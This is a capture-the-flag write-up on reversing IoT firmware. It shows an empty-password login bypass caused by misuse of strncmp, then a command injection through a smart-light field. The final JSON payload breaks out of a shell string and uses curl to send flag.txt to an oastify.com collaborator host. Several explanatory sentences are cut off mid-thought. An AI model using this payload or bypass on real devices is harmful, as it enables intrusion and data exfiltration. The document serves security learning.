I recently participated in the Payatu Hiring CTF, and it was a great experience—especially discovering firmware challenges that involved both pwning and reverse engineering.
(inspired from the 🐐 SuperFashi1)
Okay coming back to the challenge we were provided with a iot_master.bin
file. This was also a web-interface challenge and web instances were provided.
Ξ Downloads/firmware → file iot_master.bin
iot_master.bin: Squashfs filesystem, little endian, version 4.0, xz compressed, 20078298 bytes, 2514 inodes, blocksize: 1048576 bytes, created: Sat Jun 28 02:51:12 2025
It was a Squashfs Filesystem, so my next objective was to use unsquashfs
to extract files from the firmware.
Ξ squashfs-root/app → ll
total 1296
-rw-r--r-- 1 0x1622 staff 18B Jun 26 09:50 flag.txt
drwxrwxr-x 4 0x1622 staff 128B Jun 28 08:20 web_root
-rwxr-xr-x 1 0x1622 staff 642K Jun 26 11:10 webd
Interestingly I found the binary file in /squashfs-root/app
directory.
Ξ squashfs-root/app → file webd
webd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, BuildID[sha1]=6b2b90dc1c9fe20e56094e79a6ae9839b4514136, for GNU/Linux 3.2.0, not stripped
The binary was a 32-bit ARM executable, statically linked and not stripped, meaning it contains full symbol information.
dogbolt@dogbolt:~/ctfs$ checksec --file=webd
[*] '/home/dogbolt/ctfs/webd'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
Stripped: No
I initially started by looking for the keyword password
in the filesystem, hoping to find a hardcoded one. My first thought was that the admin cookie might be stored somewhere in the extracted files. However, after thoroughly searching
the filesystem, I couldn't find anything useful.
My next step was to statically analyze the webd binary using Binary Ninja, focusing especially on functions that might perform password
checks.
void main() __noreturn
{
int32_t var_c = 0;
void var_50;
mg_mgr_init(&var_50);
int32_t var_54;
mg_http_listen(&var_50, "http://0.0.0.0:8080", cb, var_54);
while (true)
mg_mgr_poll(&var_50, 0x3e8);
}
This main function was nothing special—it was just setting up a very basic HTTP server using the Mongoose networking library.
While searching for other functions, I came across an interesting one that was responsible for handling login attempts.
void* post_login_handle(void* arg1, void* arg2)
{
int32_t var_c = 0
int32_t var_d4 = 0
char var_d0[0x3c]
memset(&var_d0, 0, 0x3c)
int32_t var_f0 = 0
void* r6
int32_t r0_1 = __libc_open("/dev/urandom", 0, 0, r6)
char var_e0
memset(&var_e0, 0, 9)
__libc_read(r0_1, &var_e0, 8, r6)
void* r0_5 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.username")
void* r0_7 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.password")
void* result
if (r0_5 == 0 || r0_7 == 0)
result = mg_http_reply(arg1, 0x1f4, "Custom-Header: Vuln-Server\r\n",
"Internal Server Error\n")
else if (strncmp(&var_e0, r0_7, strlen(r0_7)) != 0)
result = mg_http_reply(arg1, 0x191, "Custom-Header: Vuln-Server\r\n",
"Invalid Credentials\n")
else if (strncmp(r0_5, "IoT_Admin", 9) != 0)
result = mg_http_reply(arg1, 0x191, "Custom-Header: Vuln-Server\r\n",
"Invalid Credentials\n")
else if (strlen(r0_5) != 9)
result = mg_http_reply(arg1, 0x191, "Custom-Header: Vuln-Server\r\n",
"Invalid Credentials\n")
else
int32_t var_94 = 0
char var_90[0x84]
memset(&var_90, 0, 0x84)
__snprintf(&var_d4, 0x40, &data_73b90, create_session())
__snprintf(&var_94, 0x88, "Custom-Header: Vuln-Server\r\nSe…", &var_d4)
void* var_100_1 = r0_5
result = mg_http_reply(arg1, 0xc8, &var_94, "Welcome back, %s\n")
// ... cleanup code ...
}
The first question that came to my mind after seeing this function was why was /dev/urandom
being used here. After analyzing further, I came to the conclusion:
r0_7
var_e0
. It compares the first n characters of
0
.After searching how much approx time it takes to bruteforce 8 random bytes:
Interestingly I found source-code for
STRNCMP (const char *s1, const char *s2, size_t n)
{
unsigned char c1 = '\0';
unsigned char c2 = '\0';
if (n >= 4)
{
size_t n4 = n >> 2;
do
{
c1 = (unsigned char) *s1++;
c2 = (unsigned char) *s2++;
if (c1 == '\0' || c1 != c2)
return c1 - c2;
c1 = (unsigned char) *s1++;
c2 = (unsigned char) *s2++;
if (c1 == '\0' || c1 != c2)
return c1 - c2;
c1 = (unsigned char) *s1++;
c2 = (unsigned char) *s2++;
if (c1 == '\0' || c1 != c2)
return c1 - c2;
c1 = (unsigned char) *s1++;
c2 = (unsigned char) *s2++;
if (c1 == '\0' || c1 != c2)
return c1 - c2;
} while (--n4 > 0);
n &= 3;
}
while (n > 0)
{
c1 = (unsigned char) *s1++;
c2 = (unsigned char) *s2++;
if (c1 == '\0' || c1 != c2)
return c1 - c2;
n--;
}
return c1 - c2;
}
This clearly says that
So, as username was already leaked in the code (IoT_Admin), we can easily login with:
Username: IoT_Admin
Password: ""
The login screen was only performing a client-side check to verify whether a password was entered, and it was preventing users from submitting a null password.
Using Burp, I bypassed this and got the admin cookies:
This was the sweet smart home control page. Now back to Binary Ninja for more analysis.
This step took me nearly 3–4 hours to thoroughly analyze the binary, understand what each function was doing, and identify a bug that could eventually grant me access.
void* send_user_config_to_device(void* arg1, void* arg2)
{
send_fan_control_commands(arg1, arg2)
send_router_config_commands(arg1, arg2)
send_baby_camera_control_commands(arg1, arg2)
send_smartlock_toggle_commands(arg1, arg2)
send_smartlight_control_commands(arg1, arg2)
return mg_http_reply(arg1, 0xc8, "Custom-Header: Vuln-Server\r\n",
"User config has been set to the …")
}
This function acts like a dispatcher, basically it takes the user's complete configuration, which is stored in memory, and pushes all the settings to the IoT devices.
void* fan_control(void* arg1, void* arg2, void* arg3)
{
void* r0_1 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.fan_speed")
void* r0_3 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.fan_toggle")
void* result
if (r0_1 == 0 && r0_3 == 0)
result = mg_http_reply(arg1, 0x190, "Custom-Header: Vuln-Server\r\n",
"Don't try to be smart fan\n")
// ... validation logic ...
}
The above code was API endpoint handler for Fan-Control. This was nothing special:
void* r0_1 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.fan_speed");
void* r0_3 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.fan_toggle");
Moving forward to another function that is related with fan-control:
uint32_t send_fan_control_commands(int32_t arg1, void* arg2)
{
int32_t var_334 = arg1
int32_t var_c = 0
uint32_t var_340 = zx.d(**(arg2 + 0x48))
void var_32c
__snprintf(&var_32c, 0x320, "/bin/echo \'{\"Fan Toggle\":\"%d\",\"Fan Speed\":\"%d\"}\' | nc -N localhost 4455",
zx.d(*(*(arg2 + 0x48) + 1)))
uint32_t result = __libc_system(&var_32c)
if (0 == var_c)
return result
__stack_chk_fail()
noreturn
}
Ahhh finally,
No.
This
Though at this point I had a clear idea of what I needed — a function that doesn't use
I further analyzed Smart Lock Alerts but again
uint32_t send_smartlight_control_commands(int32_t arg1, void* arg2)
{
int32_t var_334 = arg1
int32_t var_c = 0
int32_t var_340 = *(arg2 + 0x48) + 0x25d
void var_32c
__snprintf(&var_32c, 0x320, "/bin/echo \"{\"Smart Light Toggle\":\"%u\",\"Smart Light LED Pattern\":\"%s\"}\" | nc -N localhost 4457"
zx.d(*(*(arg2 + 0x48) + 0x25c)))
int32_t r9
_IO_puts(&var_32c, r9)
uint32_t result = __libc_system(&var_32c)
if (0 == var_c)
return result
__stack_chk_fail()
noreturn
}
This function allows user to enter a string!
The vulnerability lies in Smartlight LED Pattern:
Also these two rules should be followed:
Now comes the payload part. I took help of ChatGPT and Gemini for this, and the author also helped me with this part.
The Final Payload would look like this:
{
"smartlight_led_pattern": "0,0,0 and 0,0,0 and 0,0,0\"};curl \"https://xxxxx.oastify.com?output=$(cat flag.txt | jq -sRr @uri)\" ;"
}
After sending this on
We get the response from the device:
PAYATU{S3c0nd_0rd3r_C0mm4nd_1nj3ct10n_t0_pWn_th3_i0t_m4st3r}
Follow me on @0x1622 or I will steal your cat 🐈